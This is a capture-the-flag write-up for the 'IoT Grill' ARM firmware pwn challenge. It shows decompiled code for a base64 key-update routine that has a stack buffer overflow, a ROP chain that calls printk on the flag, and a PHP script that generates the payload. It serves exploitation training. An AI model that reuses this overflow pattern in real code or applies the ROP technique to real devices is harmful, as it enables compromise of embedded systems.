IoT Grill - BalCCon2k20 CTF (pwn, 497p, 1 solved)

Introduction

IoT Grill is a pwn task.

An archive containing an ARM firmware and a qemu script to run it is provided.

The fimrware simulates a connected grill. It is possible to change the temperature settings, start the grill and update the device key.

Reverse engineering

Reversing an ARM firmware can be time consuming.

Fortunately, looking at cross references to strings such as Device key helps find the menu function. It also helps identify the printk function.

By looking at the cross references it is possible to identify the main function.

The Poweroff menu option leaves the function.

The Grill Cevape menu option prints a string.

The Change temperature setting changes the temperature between 50 and 500 degrees.

The Update device key updates the device key. There is special case if the key starts with B64: : it will decode the input as base64.

char  *string;
size_t size;
size_t clearSize;
char   buffer[0x24];

printk("Enter a new device key> ");
string = readString();
size   = strlen(string);

if(0 == strncmp(string, "B64:", 4)) {
    /* Don't write, but calculate the size and write in in clearSize */
    b64_decode(NULL, 0, &clearSize, string + 4, size - 4);

    /* Decode into buffer */
    b64_decode(buffer, clearSize, &clearSize, string + 4, size - 4);
} else {
    /* ... */
}

This function is vulnerable to a classic stack-based buffer overflow.

Exploitation

This challenge was solved by using a simple ROP chain that calls printk(flag).

The ROP chain is the following :

0x00001458: pop {r0, pc}
0x00004043: "BCTF{flag}"

0x00002CB0: printk

The only particularity of the ARM architecture is that instructions in THUMBS mode must have their least significant bit set.

The changeKey function returns using pop {r4, r5, r6, r7, pc}. This has to be taken into account when padding the stack.

Flag: BCTF{c0ngr4ts_y0u_put_a_gr1ll_on_th3_n3t_and_n0w_cevap3_ar3_burn3d}

Appendices

pwn.php

<?php
const POPR0   = 0x00001458 | 1;
const FLAG    = 0x00004043;
const PRINTK  = 0x00002CB0 | 1;

$payload  = str_repeat("A", 0x24);
$payload .= pack("V*",
    0x44444444, 0x55555555, 0x66666666, 0x77777777,
    POPR0, FLAG,
    PRINTK,
);

printf("B64:%s\n", base64_encode($payload));

Original writeup (https://github.com/TFNS/writeups/blob/master/2020-09-25-BalCCon/iot_grill/README.md).

IoT Grill